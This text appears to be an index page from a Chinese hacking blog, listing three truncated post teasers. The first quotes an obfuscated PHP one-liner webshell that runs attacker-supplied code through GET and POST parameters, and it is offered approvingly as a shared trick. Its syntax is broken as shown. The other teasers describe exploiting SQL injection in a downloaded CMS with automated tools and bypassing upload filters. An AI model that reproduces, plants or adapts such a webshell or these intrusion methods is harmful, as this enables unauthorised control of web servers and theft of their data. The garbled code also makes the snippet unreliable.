群里一基友发了个变异一句话，代码：<?php$soft = (string key($_GET ;$soft($_POST['assert'] ;?> 看了下，不错。另外一基友给出：<?php $_GET['...

在源码之家下了一个全站的cms,代码看的很蛋疼，注入漏洞我就不分析了其中一个注入点exp我也懒得写了，直接丢工具跑吧。后台 /admin......

群里某人求助上传，老是说突破突破 然后就发了个地址：......